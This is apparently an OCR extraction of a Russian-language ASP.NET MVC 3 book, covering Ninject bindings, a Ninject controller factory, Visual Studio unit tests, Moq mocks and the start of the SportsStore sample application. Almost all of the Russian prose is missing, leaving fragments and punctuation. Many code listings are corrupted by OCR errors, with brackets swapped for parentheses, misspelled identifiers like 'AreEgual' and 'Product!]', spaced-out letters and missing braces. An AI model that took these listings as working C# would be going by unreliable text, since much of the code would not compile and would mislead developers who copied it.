.WithPropertyValue("ItemLimit", 200M);


Ninject

,
.
IValueCalculator IterativeValueCalculator,
6.17.

6.17. I V a l u e C a l c u l a t o r
public class IterativeValueCalculator : IValueCalculator (
public decimal ValueProducts(params Product!] products) (
decimal totalValue = 0;
foreach (Product p in products) (
totalValue += p.Price;

}
return totalValue;

, ,
Ninject, .
6.18.

6.18. Ninject
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator>() ;
ninjectKernel.Bind<IValueCalculator>()

6. , MVC

135

.To<IterativeValueCalculator>()
.WhenInjectedInto<LimitShoppingCart>();

,
I V a l u e C a l c u l a t o r I t e r a t i v e V a l u e C a l c u l a t o r ,

, ,
LimitShoppingCart.

IValueC a l c u l a t o r
. Ninject ,
,
.. Ninject
. . 6.1.

6.1. Ninject

When (predigate)

,
(predicate) - true

WhenClassHas<T>()

,
,

WhenInjectedInto<T>()

,
( . 6.18)

Ninject ASP.NET MVC


Ninject
Windows, Ninject ASP.NET
MVC . ,
System.Web.Mvc.DefaultControllerFactory. MVC
. (
14.)
, NinjectControllerFactory, 6.19.

6.19. N i n j e c t C o n t r o l l e r F a c t o r y
using
using
using
using
using
using

System;
System.Web.Mvc;
System.Web.Routing;
Ninject;
NinjectDemo.Models.Abstract;
NinjectDemo.Models.Concrete;

namespace NinjectDemo.Infrastructure {
public class NinjectControllerFactory : DefaultControllerFactory {
private IKernel ninjectKernel;
public NinjectControllerFactory() {
ninjectKernel = new StandardKernel ();
AddBindings();

136

I. ASP.NET MVC 3
protected override IController GetControllerlnstance (
RequestContext requestContext, Type controllerType) {
return controllerType == null
? null
: (IController)ninjectKernel.Get(controllerType);

}
private void AddBindings() {
//
ninjectKernel.Bind<IProductRepository>().To<FakeProductRepository>();

}
)
)

Ninject
, GetCo n t r o l l e r l n s t a n c e ,
MVC, .
Ninject.
, , System.Web.Mvc.Controller.
A d d B i n d i n g s Ninject
, .
,
.
MVC Framework,
A p p l i c a t i o n _ S t a r t Global.asax,
6.20.

6.20. N i n j e c t C o n t r o l l e r F a c t o r y
MVC Framework
protected void Application_Start () {
AreaRegistration.RegisterAllAreas ();
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
ControllerBuilder.Current.SetControllerFactory(new NinjectControllerFactory());

}
MVC Framework N i n j e c t C o n trollerFactory
, a Ninject
.
, ,
IProductRepository, FakeProductRepository, Product ..
Ninject MVC,
,
. ,
. ,
, ,
.

, ,
Ninject. DI
.

6. , MVC

137


Visual Studio
.NET.
.
,
Visual Studio 2010. Visual Studio ,
.
.NET. ,
NUnit. ,
Visual Studio ,
IDE-,
.
.
! Microsoft Visual Web Developer Express
.
Visual Studio. ' Web Developer Express,
NUnit (w w w .n u n it .o r g ), ,
.



.
. ProductApp.
, 6.21.

6 .2 1 .

public class Product {


public int ProductID { get; set; )
public string Name { get; set; }
public string Description { get; set; }
public decimal Price { get; set; }
public string Category { set; get; }
)
public interface IProductRepository {
IEnumerable<Product> GetProducts();
void UpdateProduct(Product product);

}
public interface IPriceReducer {
void ReducePrices(decimal priceReduction);

Product ,
. IProductRepository ,
Product. IP r i c e R e d u c e r
, Products,
, priceReduction.

138

I. ASP.NET MVC 3

IPriceReducer,
.

Product .


pr i ceReduction .

U p d a t e P r o d u c t
Product.

$1.

, FakeRepository,
IProductRepository, 6.22.

6.22. F a k e R e p o s it o r y
public class FakeRepository : IProductRepository {
private Product [] products = {
new Product () { Name = "Kayak", Price = 27 5M},
new Product () { Name = "Lifejacket", Price = 48.95M},
new Product () { Name = "Soccer ball", Price = 19.50M),
new Product () { Name = "Stadium", Price = 79500M}
};
public IEnumerable<Product> GetProducts() {
return products;
}
public void UpdateProduct(Product productParam)
foreach(Product p in products
.Where(e => e.Name == productParam.Name)
.Select(e => e ) ) {
p.Price = productParam.Price;

UpdateProductCallCount++;

}
public int UpdateProductCallCount { get; set; }
public decimal GetTotalValue () (
return p roducts.Sum(e => e.Price);

.
MyPriceReducer, IPriceReducer.
6.23.

6.23. M y P r i c e R e d u c e r
p u b lic

class

p r iv a te

M y P riceR ed u c er

IP ro d u ctR e p o sito ry

IP ric e R e d u ce r

r ep o sito ry ;

p u b lic M y P r ic e R e d u c e r (IP ro d u ctR e p o sito ry

repo)

re p o s it o r y = rep o ;

)
p u b lic v o id

R e d u c e P r ic e s (d e c im a l p r ic e R e d u c tio n )

th r o w new N o t l m p l e m e n t e d E x c e p t i o n ( ) ;

6. ,

139

R e d u c e P r i c e s , ,
I P r o d u c t R e p o s i t o r y .
, Ninject

(Library Package Manager), , - Ninject.


TDD
. Visual Studio
M y P r i c e R e d u c e r . R e d u c e P r i c e s Create Unit Tests
( ), . 6.3.

. 6.3.
Visual Studio Create Unit Tests (
), . 6.4. , ,
, .
R e d u c e P r i c e s M y P r i c e R e d u c e r , .

. 6 .4 .

140

I. ASP.NET MVC 3

.
, Output Project ( )
. , Visual
Studio (. 6.5).
< __ >. T e s t s .
P r o d u c t A p p , P r o d u c t A p p . T e s t s .

. 6.5.
Create (), . Visual
Studio . R e fe r e n c e s
Solution Explorer, , Visual Studio
, Ninject.
, M y P ric e R e d u c e rT e s t.c s ,
; ,
. ,
, .
, 6.24.

6.24.
using

Sy s te m .C o lle c t io n s .G e n e r ic ;

using

S y s te m .L in q ;

using M ic r o so ft .V is u a lS t u d io . T estTo o Is. U nitTesting;


namespace

ProductApp. Tests

[TestClass]
public

class

M yPriceReducerTest

[TestMethod]
p ublic
//

void A ll_Prices_Are_Changed)

FakeRepository
decim al

repo = new F a k e R e p o s i t o r y ( ) ;

reductionAm ount = 10;

IEnum erable<decim al> p r ic e s = r e p o . G e t P r o d u c t s ( ) . S e l e c t ( e


d e c i m a l []

initialPrices

M yPriceReducer target
//

= p r ic e s .ToArray();

= new M y P r i c e R e d u c e r (rep o ) ;

t a r g e t .ReducePrices(reductionA m ount);
p rices.Z ip(initialPrices,
if

(pi

== p2)

A s s e r t . F a i l () ;

}
return p i;

)) ;
}
}

(pi,

p2)

=>

=> e . P r i c e ) ;

6. , MVC

141

6.24 ,
Visual Studio . TestClass
, , TestMethod ,
. , ,
Visual Studio.
, /
/".
, ,
. A l l _ P r i c e s _ A r e _ C h a n g e d (_
_). .
, . ,
( ).
A l l P r i c e s A r e _ C h a n g e d
LINQ,
Product,
FakeRepository. LINQ- Zip,
. ,
Asset.Fail,
.
.
,
.
,
.
. -, ,
. -,
, . ,
, ,
//
.
TDD, (.
6.25).

6.25.
[TestMethod]
public void Correct_Total_Reduction_Amount() {
//
FakeRepository repo = new FakeRepository();
decimal reductionAmount = 10;
decimal initialTotal = rep o .GetTotalValue();
MyPriceReducer target = new MyPriceReducer(repo);
//
target.ReducePrices(reductionAmount);
//
A ss e r t .AreEgual(repo.GetTotalValue(),
(initialTotal - (rep o .GetProducts().Count () * reductionAmount)));)
[TestMethod]
public void No_Price_Less_Than_One Dollar() (
//
FakeRepository repo = new FakeRepository!);
decimal reductionAmount = decimal.MaxValue;
MyPriceReducer target = new MyPriceReducer(repo) ;

1 42

I. ASP.NET MVC 3
//

t a r g e t . R e d u c e P r ic e s (r e d u c t io n A m o u n t);
//

foreach

(P r o d u c t p r o d

in

r e p o . G etP ro du cts ())

A s s e r t . Is T r u e (p r o d . P ric e

>= 1 ) ;

.
M y P r i c e R e d u c e r .
R e d u c e P r i c e s ,
F a k e R e p o sito ry

A s s e r t . ,
. A s s e r t ,
, . 6.2.

6.2.

A r e E q u a l < T > (, )

A r e E q u a l < T > (T , , s t r i n g )
A r e N o t E q u a l< T > (T ,

A r e N o t E q u a l < T > (T , , s t r i n g )
A re S a m e < T > (T ,

A re S a m e < T > (T ,

, s t r i n g )

A r e N o t S a m e < T > (T , T)
A re N o t S a m e < T > (T ,

, s t r i n g )

F ailO

F a il(s t r in g )

Inconclusive ()

In c o n c lu s iv e (s tr in g )
I s T r u e (b o o l )
Is T r u e (b o o l,

, t r u e
,

string )

I s F a l s e (b o o l )
Is F a ls e (b o o l,

false

strin g )

IsNull (object)
Is N u ll(o b je c t ,

strin g )

Is N o tN u ll(o b je c t )
Is N o tN u ll(o b je c t ,

string )

Is In s ta n c e O fT y p e (o b je c t,

Type)

Is In s ta n c e O fT y p e (o b je c t,

Type,

string )
Is N o t ln s t a n c e O f T y p e (o b je c t , Type)
Is N o t ln s t a n c e O fT y p e (o b je c t , T ype,
string )

6. , MVC

1 43

A s s e r t -
.
, .
, .
,
string.
. A r e E q u a l A r e N o t E q u a l
, . ,
, .
ExceptionExpected.
, ,
ExceptionType.
try...catch
.

( )
. 6.2 ,
. , Run ()
Test Visual Studio, All Tests in S olution ( ).
Visual Studio ,
TestClass TestMethod.
. Run All ( ) T estO D eb ug (), Visual
Studio ,
.
.

Test Results ( )
.
,
, . 6.6.

. 6.6.

. ,
Test Results
View Test Results Details ( ).

144

I. ASP.NET MVC 3


, , ,
.
ReducePrices (.
6.26).

6.26.
public class MyPriceReducer : IPriceReducer {
private IProductRepository repository;
public MyPriceReducer(IProductRepository repo) {
repository = repo;
}
public void ReducePrices(decimal priceReduction) {
foreach (Product p in repository.GetProducts()) {
p.Price = M a t h .M a x ( p .Price - priceReduction, 1);
repository.UpdateProduct(p);

}
}
}

. , . 6.7,
.

. 6.7.

. ,
Visual Studio
.
, .
, ,
,
.
, M S D N .

Moq

,
. ,
, FakeRepository.

6. ,

145

( ,
).
F a k e R e p o s i t o r y
IProductRepository. ,
. ,
. ,
. , ,
U p d a t e P r o d u c t ,
. ,
Product.
- ,
F a k e R e p o s i t o r y ( ,
). Moq ,
, .

Moq Visual Studio


FakeRe p o s i t o r y
, Moq.
, Moq (Library
Package Manager), h t t p : / / c o d e . g o o g l e . e o m / p / m o q .
Moq.dll ( Library Package Manager,
) P r o d u c t .Tests (
, ).

Moq
,
,
. , , ,
.
, ,
,
.
, ,
, .
,
, .
Moq .
<>, ,
(. 6.27).

6.27.
Mock<IProductRepository> mock = new Mock<IProductRepository>();

,
. Moq
, ,
. , IPro d u c t R e p o s i t o r y . G e t P r o d u c t s
IEnumerable<Product>. , Moq ,
Setup, 6.28.

146

I. ASP.NET MVC 3

6.28. Moq
P ro d u ct!] products
new Produ ctO {
new Produ ctO {
new Produ ctO {
new Produ ctO (

= new P ro d u ct!] {
Name = "Kayak", P r ic e = 275M},
Name = " L i f e j a c k e t " , P r ic e = 48.95M},
Name = "S o ccer b a l l " , P r ic e = 19.50M),
Name = "Stadium ", P r ic e = 79500M}

};
m o c k .Setup(m => m.GetProducts()).Returns(products);

Moq ,
.

Moq
. Moq , LINQ -
. Setup Moq ,
. , LINQ,
, ,
-. ,
G etP rod u cts,
:
mock.Setup(m => m. GetProducts () ) . (<. . . . . .>) ;

,
, , .
G e tP r o d u c ts , .
, , :
.

Moq
, Moq
, . G etProducts ,
:
p u b lic in t e r fa c e IM y ln te rfa c e {
s t r in g P ro ce ssM es sa g e(strin g m essage);
}
6.29 ,
.
6.29. Moq
M ock<IM yInterface> mock = new M ock<IM yIn terface>( ) ;
mock.Setup(m => m. ProcessMessage("hello")) .Returns("Hi there");

mock.Setupfm => m. ProcessM essage( " b y e " ) ) . R etu rn s("S ee you s o o n ");
Moq Hi th e re ,
P rocessM essa ge h e llo , See
you soon, bye.
Moq
n u ll, s t r in g .

6. , MVC

147


. ,
, ,
, . . Moq
I t ,
. :
mock. Setup ( => m. ProcessMessage (It.IsAny<string>())) .Returns ("Message received");

I t ,
. IsAny, s t r i n g
. Moq, , P rocessM essa ge
, M essage r e c e iv e d
( ). , I t ,
. 6.3.

6.3. I t

Is<T>()

(.
6.30)

IsAny<T>()

IsInRange<T>

IsR egex

Is<T> , ,
, tru e ,
6.30.

6.30. I t
mock.Setup(m => . P rocessM essa ge(It. Is < s trin g > (s => s == " h e llo " I I s == " b y e " )))
.R etu rn s( "Message r e c e i v e d " ) ;
Moq, Message r e c e iv e d ,
s t r i n g h e l l o bye.


,
.
R etu rn s Setup . ,
R etu rn s,
.
6.31.

6.31.
mock.Setup(m => m .P ro c e s s M e s s a g e (It. Is A n y < s trin g > ( ) ) )
. R etu rn s< strin g> (s => s t r i n g . Form at("Message r e c e iv e d : { 0 ) " , s ) ) ;

148

I. ASP.NET MVC 3

R e t u r n s
, . Moq
- ,
.

Moq
,
Moq, , ,
. ,
Mock.Object. Moq
C o r rect_Total_Reduction_Amount 6.3 2 .

6.32. Moq
[TestMethod]
public void Correct_Total_Reduction_Amount() {
//
Product[] products = new Product!] {
"new Produ c t O ( Name = "Kayak", Price = 27 5M],
new Produ c t O { Name = "Lifejacket", Price = 48.95M},
new Produ c t O { Name = "Soccer ball", Price = 19.50M),
new Produ c t O { Name = "Stadium", Price = 79500M)

};
Mock<IProductRepository> mock = new Mock<IProductRepository>();
m o c k .Setup(m => m .GetProducts()).Returns(products);
decimal reductionAmount = 10;
decimal initialTotal = products.Sum(p => p.Price);
MyPriceReducer target = new MyPriceReducer(mock.Object) ;
//
target.ReducePrices(reductionAmount);
//
Asse r t .AreEqual(products.Sum(p => p.Price),
(initialTotal - (products.Count () * reductionAmount)));
}
, ,
IProductRepository. .
G e t P r o d u c t s ,
.
Moq 6 .3 2
,
, V is u a l Stu d io, .
.
Product, ,
6 .3 3 .

6.33.
[TestClass]
public class MyPriceReducerTest {
private IEnumerable<Product> products;
[Testlnitialize]

6. , MVC

149

public void PreTestlnitialize () {


products = new Product[] {
new Product)) { Name = "Kayak", Price = 275M},
new Product () { Name = "Lifejacket", Price = 48.95M},
new Product () { Name = "Soccer ball", Price = 19.50M),
new Product () { Name = "Stadium", Price = 79500M)

};
}

,
products Visual Studio
. Visual Studio ,
Testlnitialize. ,
. ,
prod u c t s .
, Visual Studio, . 6.4.

6 .4. Visual Studio

Classlnitialize

ClassCleanup

Testlnitialize

TestCleanup

, , ,
Visual Studio . Testlnitialize

:
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.GetProducts()).Returns(products);

Moq
.
Moq ,
.

Moq
,
U p d a t e P r o d u c t Product.
F a k e R e p o s i t o r y
UpdateProduct.

, Moq, 6.34.

6.34.
//
target.ReducePrices(reductionAmount);

150

I. ASP.NET MVC 3
//
foreach (Product in products)
mock.V erify (m

=> m .U p d a t e P r o d u c t ( p ) ,

Tim es . Once ()) ;

, , U p d a t e P r o d u c t
Product.
, ,
, .

,
MVC Ninject,
Visual Studio 2010 Moq.
, , .
- ,
.
, , TDD
, DI
. , .

. ,
,
, .

SportsStore:

, MVC.
MVC
C# , MVC.
'.
, SportsStore, ,
.
, ,
, , ,
, .
, , ,
(create, read, update, delete CRUD) ,
,
.
, . ,
,
.
. ,
Web Forms,
.
MVC , ,
,
. .


MVC
, .
,
MVC.
, .
. , -
(TDD),
, .
, , SportsStore
. ASP.NET MVC,
- .

152

I. ASP.NET MVC 3

MVC,
, .
, ,
, ,
.
, , ,
MVC .
.
.
, Add View
( ) .


SportsStore
,
. 2. SportsStore
, .
,
.
, .
,
, - .

Visual Studio
Visual Studio .
, MVC,
. , ,
Blank S olution ( ) Visual Studio,
Other Project Types^Visual S tudio Solutions ( 1
^ Visual Studio)
New Project ( ), . 7.1.

. 7 .1 .

7. SportsStore:

153

SportsStore , .
.
. 7.1.

7.1. S p o r ts S to r e

Visual Studio

SportsStore.Domain

C # Class Library (
#)


,

,

Entity Framework

SportsStore.WebUI

A S P .N E T M VC 3 W eb Application
(- ASP.NET MVC 3)
(
,
Em pty
Razor
)


,

S p o rtsS to re

Test Project ( )

n
SportsStore.UnitTests

, S p o r t s S t o r e
Solution Explorer ( ), A dd^N ew Project
(^ ), , .
Test Project Test Projects ( ), Test
() Visual #, . 7.2.
Visual Studio ,
: Classl.cs SportsStore .Domain UnitTestl.cs
SportsStore.UnitTests. Solution Explorer ,
. 7.3.
, SportsStore.
WebUI Set as Startup Project (
) ( ). ,
Start Debugging ( )
Start without Debugging ( ) Debug ().

. 7 .2 .

154

I. ASP.NET MVC 3

. 7 .3 . ,
S o lu tio n E x p lo re r


,
. Package Manager Console
( ) Visual Studio (View^Other Windows1^ Package Manager
Console ( ^ ))
. ,
<>.
Install-Package
Install-Package
Install-Package
Install-Package

Ninject -Project SportsStore.WebUI


Ninject -Project SportsStore.Domain
Moq -Project SportsStore.WebUI
Moq -Project SportsStore.Domain

Ninject Moq -,
, . 7.2.
, .

7.2.

SportsStore.Domain

SportsStore.WebUI

N inject

SportsStore.Domain

SportsStore.UnitTests

N inject
Moq

SportsStore.Domain
SportsStore.WebUI

Solution Explorer,
Add Reference ( )
.

DI
MVC
(dependency injection DI) Ninject.
.

7. SportsStore:

155

I n f r astructure SportsStore .WebUI,


NinjectControllerFactory ,
7.1. ,
" Ninject ASP.NET MVC" 6.

! ( )
using .
,
, . , Visual Studio
The type or name s p a c e Product could
not be found (He Product),
, using SportsStore.
Domain.Entities .
, , <Ctrl+.>. Visual Studio
, , ,
using.
, .

7.1. N i n j e c t C o n t r o l l e r F a c t o r y
using
using
using
using

System;
System.Web.Mvc;
System.Web.Routing;
Ninject;

namespace SportsStore.W e b U I .Infrastructure {


public class NinjectControllerFactory : DefaultControllerFactory {
private IKernel ninjectKernel;
public NinjectControllerFactory() (
ninjectKernel = new StandardKernel() ;
A ddBindings();

)
protected override IController GetControllerlnstance(
RequestContext requestContext, Type controllerType) {
return controllerType == null
? null
: (IController)ninjectKernel.Get(controllerType);

}
private void AddBindings() (
//

}
}
}
Ninject.
AddBindings. ,
NinjectController.
, 7.2 , Applicat.ion_Start
Global.asax.cs SportsStore.WebUI.

156

I. ASP.NET MVC 3

7.2. N i n j e c t C o n t r o l l e r F a c t o r y MVC Framework


protected void Application_Start () {
AreaRegistration.RegisterAllAreas();
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
ControllerBuilder.Current.SetControllerFactory(new NinjectControllerFactory());


Start D ebugging ( ) Debug (),
. , URL-,
, Ninject (. 7.4).
The ICortrollerFactory 'SportsStore. WebUIlnfrastructufe.NnjectControllerFactorY' did not return a contr.~ * X :
URb i http://bcalhost:23081/

-q

Server Error in '/ ' Application.

The IC ontrollerFactory
'SportsStore. W ebUI.Infrastructure. N injectControllerFactory'
did n o t return a controller fo r the name 'Home'.
D escrip tion : An unhandled exception occurred during the execution of the current web request. Please review the
stack trace for more information about the error and where It originated in me code.

"if"?

''"j

. 7 .4 .

, ,
Visual Studio 2010 ASP.NET MVC , .
Internet Explorer, ,
. Visual Studio
Stop D ebugging ( ) Debug.

. 7 .5 .

D e bu g Visual
Studio
.

. ,
,
ASP.NET D evelopm ent S erver (
ASP.NET)
Open in W eb B row ser (
), . 7.5.

,
. Visual Studio,
<F6> B u ild ^ B u ild Solution (^ ),
-,

7. SportsStore:

157


.
MVC
,
.

,
,
. E n t i t i e s
S p o rtsS to re.D o m a in ,
C# P ro d u ct. S o lu tio n
E x p lo re r . 7.6.
P rodu ct,
,
.
,
. P rodu ct,
7.3.

. 7.6.
Product

7.3. P r o d u c t
namespace SportsStore.Domain.Entities {
public class Product {
public int ProductID { get; set; }
public string Name { get; set; }
public string Description { get; set; }
public decimal Price { get; set; }
public string Category { get; set; }
}

)

Visual Studio, ,
public. ,
.


- Pro d u c t .
4,
.
,
.
S p o r t s S t o r e . D o m a i n
Abstract, IProductsRepository,
7.4. ,
Abstract, Add^New Item (^
) Interface.

158

I. ASP.NET MVC 3

7 .4 . I P r o d u c t R e p o s i t o r y
using System.Linq;
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Abstract (
public interface IProductRepository {
IQueryable<Product> Products { get; }

IQueryable<T>,
Product, ,
, . ,
IProductRepository, Product, ,
. .
,
.


, , ,
.
. ,
I P r o d u c tRepository.
A d d B i n d i n g s NinjectControllerFactory,
7.5.

7.5.
IP ro d u c t R e p o s ito ry
private void AddBindings () {
// IProductRepository
Mock<IProductRepository> mock = new Mock<IProductRepository> ();
mock.Setup(m => m.Products).Returns(new List<Product> {
new Product { Name = "Football", Price = 25 },
new Product { Name = "Surf board", Price = 179 ),
new Product { Name = "Running shoes", Price = 95 }
} .AsQueryable ()) ;
ninj ectKernel.Bind<IProductRepository>() .ToConstant(mock.Object);
}
Visual Studio ,
, using,
System.Linq AsQueryable.



.
, ,
M VC
Framework.
, .

7. SportsStore:

159

,
, .
,
. ,
MVC ,
, .


Controllers SportsStore.
WebUI Add^Controller (^).
P r o d u c t C o n t r o l l e r ,
Template () Empty controller ( ).
Visual Studio ,
,
7.6.
7.6. P r o d u c t C o n t r o l l e r
using System.binq;
using System.Web.Mvc;
using SportsStore.Domain.Abstract;
namespace SportsStore.W e b U I .Controllers {
public class ProductController : Controller {
private IProductRepository repository;
public ProductController(IProductRepository productRepository)
repository = productRepository;
)

, , I P r o d u c t
Ninject
. L i s t ,
, ,
7.7.
R epository.

7.7.
using

Sy ste m .L in q ;

using

S y s t e m .W e b . Mvc;

using

S p o r t s S t o r e . D o m a in .A b stra c t;

namespace S p o r t s S t o r e . W e b U I . C o n t r o lle r s
public

class

private
public

ProductController

IProductRepository

: Controller

Pro ductC o ntro ller(IP ro ductR ep o sitory p roductR ep o sitory)

rep ository = productRepository;

}
public ViewResult List() {
return View(repository.Products);

}
}

repository;
{

160

I. ASP.NET MVC 3

, , 3, View (
) ,
. View Produ ct,
, M odel
.


,
L is t . L i s t
Add View ( ).
L i s t Create a strongly-typed view (
), . 7.7.

. 7 .7 . L i s t
IEnumerable<SportsStore.Domain.Enti ties.
P r o d u c t x
, . ,
,
Razor, Use a layout or master page (
-), (. . 7.7).
Add (), .
, I E n u m e r a b l e < P r o d u c t > ,
, , foreach Razor,
7.8.

7.8. L i s t . c s h t m l
@model IEnumerable<SportsStore.Domain.Entities.Product>
@{

ViewBag.Title = "Products";

7. SportsStore:

Sforeach (va r in Model)


< d iv c la s s = "ite m ">

161

<h3>0p.Name</h3>

@p. D es c rip tio n


<h4>@p. P r i c e . T o S t r in g ( " c " ) </h4>
</div>
)
. ,
Razor- t e x t
,
Razor,
HTML-.
. , P r i c e
T o S t r in g (" " ),
, , ,
en-US, (1002.3) .T o S tr in g C 'c ")
$1,002.30, fr-F R ,
1 002,30 . ,
< sy stem .w eb > W e b .c o n fig , : < g l o b a l i z a t i o n

c u lt u r e = " fr - F R " u iC u lt u r e = " fr - F R " />.


MVC Framework,
(h ttp :/ / m ysite/ )
L i s t P r o d u c t C o n t r o lle r .
R e g is te r R o u te s G lo b a l.a s a x .c s ,
7.9.

7.9.
p u b lic s t a t i c v o id R e g is te rR o u te s (R o u te C o lle c tio n ro u tes)
r o u t e s . Ig n o re R o u te ( " { re s o u r c e } . axd/{ * p a th In fo } " ) ;

routes.M apR oute(


"D e fa u lt ",
//
" { c o n t r o l l e r ) / { a c t io n ) / { i d ) ",
// URL
new { c o n t r o lle r = "Product", a c tio n = "List", id = U rlP a ram eter. O ptional }
);
)
Home P ro d u c t In d ex L i s t
. ASP.NET 11.
, , URL-
, .
. , 7.9

Produ ct, P r o d u c tC o n tr o lle r , .


ASP.NET MVC,
C o n tr o lle r , .

6 . 4039

1 62

I. ASP.NET MVC 3


, .
, U R L - .
,
. ,
,
. , ,
. 7.8.

. 7.8.
ASP .N E T M V C
Framework .
,
.


, ,
- ,
IP ro d u ctR ep o sito ry . ,
.
S Q L Server,
Entity Framework (EF) O R M - .NETT.
O R M ,
, #. 4 , LINQ
, Entity Framework.
, .
,
.
, ,
.
O R M ,
, .
Entity Framework . -,
. -, LINQ,
LINQ. -, .
,
.

7. SportsStore:

163


, ,
,
, Visual Studio.
S erve r E xplorer ( ) {. 7.9),
S erver E xplorer View ().
Data Connections
( )
. 7.9. Server
Create New Database ( ).
E xplorer

SportStore . SQL Server
, ,
ASQLEXPRESS, . 7 .1 0 .

. 7.10.
, . Server Explorer ,
.



,
P r o d u c t . Server
Explorer
, Table
(),
. Add
New Table ( ),
. 7.11.
. , . 7.12.

A l l o w
N u l l s ( n u l l ) .

. 7 .1 1 .

164

I. ASP.NET MVC 3

. 7.12.
P r o d u c t ID
Set Primary Key ( ).
, . 7.12.
P r o d u c t ID
Properties (). Properties ()
I d e n t i t y Colum n ( ) P r o d u c t ID .
-

_ _ _ _ _

. I d e n t i t y Colum n , SQL Server

.
-
, .
,
SQL Server .

<Ctrl+S> .
, . 7.13. P r o d u c t s
, .

. 7.13.


,
, , 9.
Solution Explorer T a b l e s () S p o r t s S t o r e ,
P r o d u c t s
Show Table Data ( ). ,
. 7.14. <>.
! P r o d u c t I D . ,

SQL Server
<>.

7. SportsStore:

165

. 7.14. Products

Entity Framework
Entity Framework 4.1 ,
. , ,
.
, ,
.
" ",
. , Entity Framework 4.1
SportsStore.Domain. MVC 3 Tools Update ( MVC 3).
2, Entity Framework 4.1
MVC Framework,
.
R e f e r e n c e s ()
Add Library Package Reference (
). ,
EntityFramework, . 7.15, Install
(). Visual Studio Entity Framework.

. 7 .1 5 . EntityFramework

166

I. ASP.NET MVC 3

,
. E F D b C o n t e x t Concrete,
, 7.10.

7.10. E fD b C o n te x t
public class EFDbContext : DbContext {
public DbSet<Product> Products { get; set; }

}
" ", ,
System.Data.Entity.DbContext.
, .
, DbSet , Entity Framework
.
Products, Product. ,
Product Products.
Entity Framework , ,
Web.config SportsStore.WebUI
, ,
7.11.

7.11.
<configuration>
<connectionStrings>
<add name="EFDbContext" connectionString="Data Source=TITAN\SQLEXPRESS;Initial
Catalog=SportsStore;Persist Security Info=True;User ID=adam;Password=adam"
providerName="System.Data.SqlClient"/>

</con n ection S trin gs>

TITAN .
SQL Server Express,
, 7.12.

7.12. SQL Server Express


<configuration>
<connectionStrings>
<add name="EFDbContext" connectionString="Data Source=.\SQLEXPRESS;Initial
Catalog=SportsStore; "Integrated Security=SSPI"
providerName="System.Data.SqlClient"/>
</connectionStrings>

, name
, Entity Framework ,
.

7. SportsStore:

167

P ro d u ct


C o n c r e t e S p o r t s S t o r e . D o m a i n
E F P r o d u c t R e p o s i t o r y . 7.13.
IProductRepository.

7.13. E F P ro d u c tR e p o s to r y .c s
using

S y s te m .L in q ;

using

S p o r ts S to r e . Dom ain.A b s tr a c t ;

using S p o r ts S to r e . D o m a in .E n titie s;
namespace S p o r t s S t o r e . D o m a in .C o n c r e te
public

class

private
public
get

EFProductRepository

: IProductRepository

E F D b C o n t e x t c o n t e x t = new E F D b C o n t e x t ( ) ;
IQueryable<Product>
{ return

Products

context. Products;

. I P r o d u c t R e p o s i t o r y
E F D b C o n t e x t
Entity Framework.
, Entity Framework (
).
Ninject
. N i n j e c t C o n t r o l l e r F a c t o r y

S p o r t s S t o r e .W eb U I,

AddBindings

7.14.

7.14.
p r i v a t e v o i d A d d B i n d i n g s ()
//

ninjectKernel.Bind<IProductRepository>().To<EFProductRepository>();

1
. Ninject,
E F P r o d u c t R e p o s i t o r y
I P r o d u c t R e p o s i t o r y . .
. 7.16, . ,
, .

. 7 .1 6 .

1 68

I. ASP.NET MVC 3


. 7.16 , , ,
.
, ,
.
List Product ,
7.15.
7.15.
L i s t P r o d u c t
using System.Linq;
using System.Web.Mvc;
using SportsStore.Domain.Abstract;
namespace SportsStore.WebUI.Controllers {
public class ProductController : Controller {
p u b l i c int PageSize = 4 ; //
private IProductRepository repository;
public ProductController(IProductRepository repoParam)
repository = repoParam;

}
public ViewResult L i s t (int page = 1) {
return View(repository.Products
.OrderBy(p => p.ProductID)
.Skip((page - 1) * PageSize)
.Take(PageSize));

}
}
}
. PageSize ,
.
.
List. ,
(ListO) , ,
(List (1)). ,
. LINQ
. List Product ,
, ,
, ,
PageSize.

:
,
, ProductController, List,
. Prod u c t
, .
6. :

7. SportsStore:

169

[TestMethod]
public void Can_Paginate() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository> ();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI"},
new Product {ProductID = 2, Name = "P2"},
new Product {ProductID = 3, Name = "P3"},
new Product {ProductID = 4, Name = "P4"},
new Product {ProductID = 5, Name = "P5"}
}.AsQueryable());
//
ProductController controller = new ProductController(mock.Object);
controller.PageSize = 3;
//
IEnumerable<Product> result = (IEnumerable<Product>)controller.List(2).Model;
//
Product! [] prodArray = result.ToArray () ;
A s s e r t .IsTrue (prodArray .Length === 2);
Assert.AreEqual(prodArray[0].Name, "P4");
A sse r t .AreEqual(prodArray[1].Name, "P5");

)
, ,
. M o d e l ,
l E n u m e r a b l e < P r o d u c t > , List. ,
, .
.


, ,
. ,
URL , :
h t t p ://localhost:23081/?page=2

URL ,
ASP.NET. ,
.
, .
,
, ,
.
,
.
HTML, Html.TextBoxFor
Html.BeginForm, 3.
HTML- .

170

I. ASP.NET MVC 3


HTML,
,
.
, 4.
Models SportsStore.WebUI Paginglnfo,
7.16.

7.16. P a g in g ln fo
using System;
namespace SportsStore.W e b U I .Models {
public class Paginglnfo {
public int Totalltems { get; set; }
public int ItemsPerPage { get; set; }
public int CurrentPage { get; set; }
public int TotalPages {
get { return (int)M a t h .Ceiling((decimal)Totalltems / ItemsPerPage);

}
}

.

. ,
SportsStore.WebUI
.

HTML
, ,
HTML, PageLinks. SportsStore .WebUI
H t m l H e l p e r s PagingHelpers.
7.17.

7.17. P a g in g H e lp e r s
using
using
using
using

System;
System.Text;
System.Web.Mvc;
SportsStore.WebUI.Models;

namespace SportsStore.W e b U I .HtmlHelpers {


public static class PagingHelpers {
public static MvcHtmlString PageLinks(this HtmlHelper html,
Paginglnfo paginglnfo,
Func<int, string> pageUrl) {
StringBuilder result = new StringBuilder!);
for (int i = 1; i <= paginglnfo.TotalPages; i++) {
TagBuilder tag = new TagBuilder("a"); // <a>
t a g .MergeAttribute ("href", pageUrl (i));
t a g .InnerHtml = i .ToString ();

7. SportsStore:

171

if (i == paginglnfo.CurrentPage)
